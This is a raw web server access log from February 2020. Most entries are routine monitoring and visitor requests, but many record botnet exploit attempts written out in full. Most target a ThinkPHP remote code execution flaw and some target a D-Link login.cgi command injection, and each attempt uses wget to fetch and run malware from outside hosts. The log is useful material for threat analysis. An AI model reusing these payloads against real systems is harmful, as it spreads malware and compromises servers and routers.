40.83.125.200 - - [03/Feb/2020:14:29:30 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:30 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:31 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
40.83.125.200 - - [03/Feb/2020:14:29:31 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [03/Feb/2020:14:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.170.113.164 - - [03/Feb/2020:14:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.202.6 - - [03/Feb/2020:14:30:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.232.150.131 - - [03/Feb/2020:14:30:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
103.232.150.131 - - [03/Feb/2020:14:31:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:14:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.253.222.145 - - [03/Feb/2020:14:32:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.34.172.19 - - [03/Feb/2020:14:41:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.160.151.145 - - [03/Feb/2020:14:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.104.91.160 - - [03/Feb/2020:14:45:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.178.181.50 - - [03/Feb/2020:14:46:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [03/Feb/2020:14:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.211.125.135 - - [03/Feb/2020:14:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
89.36.52.216 - - [03/Feb/2020:14:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
43.252.145.46 - - [03/Feb/2020:14:49:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
117.5.213.117 - - [03/Feb/2020:14:49:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:14:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [03/Feb/2020:14:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:14:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:14:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:14:59:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:14:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.211.10.10 - - [03/Feb/2020:15:00:42 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
213.231.3.78 - - [03/Feb/2020:15:00:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:15:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [03/Feb/2020:15:03:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.225.213.54 - - [03/Feb/2020:15:05:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.112.165 - - [03/Feb/2020:15:06:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.167.238.237 - - [03/Feb/2020:15:07:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:15:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [03/Feb/2020:15:07:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:15:07:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:15:07:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
41.41.38.182 - - [03/Feb/2020:15:08:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [03/Feb/2020:15:08:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:15:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.38.182 - - [03/Feb/2020:15:08:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [03/Feb/2020:15:10:07 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [03/Feb/2020:15:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.195.72.48 - - [03/Feb/2020:15:11:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.76.203.28 - - [03/Feb/2020:15:15:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.179.15.101 - - [03/Feb/2020:15:15:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.214.133.150 - - [03/Feb/2020:15:18:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
180.214.133.150 - - [03/Feb/2020:15:18:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:15:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.185.14 - - [03/Feb/2020:15:20:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.203.251.91 - - [03/Feb/2020:15:23:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.77.202.85 - - [03/Feb/2020:15:23:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:15:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.132.215 - - [03/Feb/2020:15:24:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.124.19.213 - - [03/Feb/2020:15:33:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.221.245.9 - - [03/Feb/2020:15:35:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.123.224 - - [03/Feb/2020:15:37:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.98.190 - - [03/Feb/2020:15:39:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.222.233 - - [03/Feb/2020:15:40:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.54.0.179 - - [03/Feb/2020:15:42:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:15:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.224.16 - - [03/Feb/2020:15:44:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
133.202.165.131 - - [03/Feb/2020:15:44:41 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://91.208.184.71/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [03/Feb/2020:15:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.170.181.131 - - [03/Feb/2020:15:46:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:15:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.224.16 - - [03/Feb/2020:15:47:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
